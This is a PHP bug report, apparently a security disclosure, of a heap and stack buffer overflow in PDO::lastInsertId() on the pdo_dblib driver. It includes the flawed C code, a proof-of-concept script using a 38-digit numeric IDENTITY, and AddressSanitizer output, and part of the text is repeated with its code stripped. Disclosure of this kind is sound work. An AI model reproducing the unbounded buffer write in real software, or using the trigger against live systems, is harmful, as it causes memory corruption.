Description
Summary
PDO::lastInsertId() on the dblib driver queries SELECT @@IDENTITY, allocates a fixed 32-byte buffer, and converts the server-returned identity value into it with dbconvert(..., (DBINT)-1). The (DBINT)-1 destination-length argument tells FreeTDS/DB-Lib to write the full converted string with no destination bound. When the identity column is a wide numeric type — e.g. numeric(38,0) IDENTITY, which can return 38 decimal digits — the converted string is longer than 32 bytes and the conversion writes past the end of the buffer.
This is an out-of-bounds write driven by a server-returned value, reached from a benign application that simply inserts a row and calls lastInsertId(). No object-lifecycle trick, FFI, or abnormal call sequence is required. On the bundled PHP 8.4.20 the buffer is heap-allocated (emalloc(32)), so this is a heap buffer overflow; on the current master branch the buffer is a 32-byte stack array, so the same overflow becomes a stack buffer overflow.
Details
dblib_handle_last_id() issues SELECT @@IDENTITY, then converts the returned value into a fixed 32-byte buffer:
ext/pdo_dblib/dblib_driver.c (around lines 244, 270–271):
if (FAIL == dbcmd(H->link, "SELECT @@IDENTITY")) {
return NULL;
}
...
id = emalloc(32);
len = dbconvert(NULL, (dbcoltype(H->link, 1)) , (dbdata(H->link, 1)) , (dbdatlen(H->link, 1)), SQLCHAR, (BYTE *)id, (DBINT)-1);
dbcancel(H->link);
ret_id = zend_string_init(id, len, 0);
efree(id);
return ret_id;
The destination buffer is exactly 32 bytes, but the final argument to dbconvert() is (DBINT)-1. In the DB-Lib API, a destination length of -1 means "the destination is a null-terminated string with no fixed length" — DB-Lib writes the entire converted representation. For a numeric(38,0) identity value the decimal representation is up to 38 characters (plus a NUL), which overruns the 32-byte buffer.
The same defect is present on the current master branch, where a prior change ("Use stack local array instead of heap allocation", commit referenced in the dblib history) replaced the heap allocation with a stack array:
BYTE id[32]; // master: ext/pdo_dblib/dblib_driver.c
...
len = dbconvert(NULL, (dbcoltype(H->link, 1)) , (dbdata(H->link, 1)) , (dbdatlen(H->link, 1)), SQLCHAR, (BYTE *)id, (DBINT)-1);
So on master the same oversized identity value causes a stack buffer overflow of the 32-byte id array; the unbounded (DBINT)-1 conversion was never given a destination capacity.
PoC
Environment:
- PHP 8.4.20 (CLI), built with
--enable-debug and AddressSanitizer (CFLAGS="-fsanitize=address -g -O0"), pdo_dblib enabled.
- FreeTDS 1.3.6, TDS protocol 7.4.
- A normal Microsoft SQL Server 2019 instance (no malicious DB-Lib implementation is required).
PoC script (pdodblib001.php). The table uses a numeric(38,0) IDENTITY seeded so the next identity is 38 digits:
<?php
$pdo = new PDO(
'dblib:host=SQLSERVER:1433;dbname=tempdb;version=7.4;charset=UTF-8',
'sa',
'<password>',
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION],
);
$pdo->exec('DROP TABLE IF EXISTS dbo.ident');
$pdo->exec('CREATE TABLE dbo.ident (
id numeric(38,0) IDENTITY(99999999999999999999999999999999999990,1) PRIMARY KEY,
v int
)');
$pdo->exec('INSERT INTO dbo.ident(v) VALUES (1)');
var_dump($pdo->lastInsertId());
Run:
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
php pdodblib001.php
Full AddressSanitizer output:
=================================================================
==1464476==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000074ee0 at pc 0x7f02ebb0d2c3 bp 0x7ffedffc0000 sp 0x7ffedffbf7a8
WRITE of size 38 at 0x503000074ee0 thread T0
#0 0x7f02ebb0d2c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x7f02eb7670b1 in dbconvert_ps (/lib/x86_64-linux-gnu/libsybdb.so.5+0xf0b1)
#2 0x7f02eb76774d in dbconvert (/lib/x86_64-linux-gnu/libsybdb.so.5+0xf74d)
#3 0x560967b89c95 in dblib_handle_last_id /src/php/ext/pdo_dblib/dblib_driver.c:271
#4 0x560967c66253 in zim_PDO_lastInsertId /src/php/ext/pdo/pdo_dbh.c:1101
#5 0x560968f974f7 in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER /src/php/Zend/zend_vm_execute.h:2025
#6 0x56096929262e in execute_ex /src/php/Zend/zend_vm_execute.h:58946
#7 0x5609692b202d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
#8 0x56096954e20d in zend_execute_script /src/php/Zend/zend.c:1934
#9 0x5609689e80ab in php_execute_script_ex /src/php/main/main.c:2577
#10 0x5609689e8641 in php_execute_script /src/php/main/main.c:2617
#11 0x5609695567f5 in do_cli /src/php/sapi/cli/php_cli.c:935
#12 0x560969559387 in main /src/php/sapi/cli/php_cli.c:1310
0x503000074ee0 is located 0 bytes to the right of 32-byte region [0x503000074ec0,0x503000074ee0)
allocated by thread T0 here:
#0 0x7f02ebb87887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x560968d5e7a1 in __zend_malloc /src/php/Zend/zend_alloc.c:3294
#2 0x560968d592bd in _emalloc /src/php/Zend/zend_alloc.c:2740
#3 0x560967b89ad4 in dblib_handle_last_id /src/php/ext/pdo_dblib/dblib_driver.c:270
#4 0x560967c66253 in zim_PDO_lastInsertId /src/php/ext/pdo/pdo_dbh.c:1101
SUMMARY: AddressSanitizer: heap-buffer-overflow in __interceptor_memcpy
WRITE of size 38 lands 0 bytes to the right of the 32-byte buffer allocated at dblib_driver.c:270 and written at :271, matching the analysis. On master the corresponding allocation is the 32-byte stack array id, so the overflow is a stack overflow.
Impact
This is an out-of-bounds write (CWE-787) caused by passing (DBINT)-1 (no destination bound) to dbconvert() together with a fixed 32-byte buffer (CWE-131, incorrect buffer-size handling). The overflow content is the decimal digits of the server-returned identity value. On bundled 8.4.20 it is a heap buffer overflow; on master it is a stack buffer overflow (potentially clobbering adjacent stack state / triggering stack-protector aborts).
Who is impacted: applications using ext/pdo_dblib against SQL Server (or Sybase) where a table has a wide numeric IDENTITY column (e.g. numeric(38,0)/decimal(38,0) IDENTITY) and the application calls PDO::lastInsertId(). A wide numeric identity is a legitimate schema choice, and lastInsertId() is the normal API for retrieving it; once the identity value exceeds ~31 digits the conversion overflows the fixed buffer. The trigger is the server-returned identity value rather than direct request input, so the "attacker-controlled" framing is weaker than a pure request-value bug; however it is a clear fixed-buffer overflow reachable by a benign application through ordinary API usage, and PHP — not the application — chooses both the 32-byte buffer and the unbounded conversion length.
PHP Version
Operating System
ubuntu 22.04
Description
Summary
PDO::lastInsertId()on the dblib driver queriesSELECT @@IDENTITY, allocates a fixed 32-byte buffer, and converts the server-returned identity value into it withdbconvert(..., (DBINT)-1). The(DBINT)-1destination-length argument tells FreeTDS/DB-Lib to write the full converted string with no destination bound. When the identity column is a wide numeric type — e.g.numeric(38,0) IDENTITY, which can return 38 decimal digits — the converted string is longer than 32 bytes and the conversion writes past the end of the buffer.This is an out-of-bounds write driven by a server-returned value, reached from a benign application that simply inserts a row and calls
lastInsertId(). No object-lifecycle trick, FFI, or abnormal call sequence is required. On the bundled PHP 8.4.20 the buffer is heap-allocated (emalloc(32)), so this is a heap buffer overflow; on the currentmasterbranch the buffer is a 32-byte stack array, so the same overflow becomes a stack buffer overflow.Details
dblib_handle_last_id()issuesSELECT @@IDENTITY, then converts the returned value into a fixed 32-byte buffer:ext/pdo_dblib/dblib_driver.c(around lines 244, 270–271):The destination buffer is exactly 32 bytes, but the final argument to
dbconvert()is(DBINT)-1. In the DB-Lib API, a destination length of-1means "the destination is a null-terminated string with no fixed length" — DB-Lib writes the entire converted representation. For anumeric(38,0)identity value the decimal representation is up to 38 characters (plus a NUL), which overruns the 32-byte buffer.The same defect is present on the current
masterbranch, where a prior change ("Use stack local array instead of heap allocation", commit referenced in the dblib history) replaced the heap allocation with a stack array:So on
masterthe same oversized identity value causes a stack buffer overflow of the 32-byteidarray; the unbounded(DBINT)-1conversion was never given a destination capacity.PoC
Environment:
--enable-debugand AddressSanitizer (CFLAGS="-fsanitize=address -g -O0"),pdo_dblibenabled.PoC script (
pdodblib001.php). The table uses anumeric(38,0) IDENTITYseeded so the next identity is 38 digits:Run:
Full AddressSanitizer output:
WRITE of size 38lands0 bytes to the right ofthe 32-byte buffer allocated atdblib_driver.c:270and written at:271, matching the analysis. Onmasterthe corresponding allocation is the 32-byte stack arrayid, so the overflow is a stack overflow.Impact
This is an out-of-bounds write (CWE-787) caused by passing
(DBINT)-1(no destination bound) todbconvert()together with a fixed 32-byte buffer (CWE-131, incorrect buffer-size handling). The overflow content is the decimal digits of the server-returned identity value. On bundled 8.4.20 it is a heap buffer overflow; onmasterit is a stack buffer overflow (potentially clobbering adjacent stack state / triggering stack-protector aborts).Who is impacted: applications using
ext/pdo_dblibagainst SQL Server (or Sybase) where a table has a wide numericIDENTITYcolumn (e.g.numeric(38,0)/decimal(38,0) IDENTITY) and the application callsPDO::lastInsertId(). A wide numeric identity is a legitimate schema choice, andlastInsertId()is the normal API for retrieving it; once the identity value exceeds ~31 digits the conversion overflows the fixed buffer. The trigger is the server-returned identity value rather than direct request input, so the "attacker-controlled" framing is weaker than a pure request-value bug; however it is a clear fixed-buffer overflow reachable by a benign application through ordinary API usage, and PHP — not the application — chooses both the 32-byte buffer and the unbounded conversion length.PHP Version
Operating System
ubuntu 22.04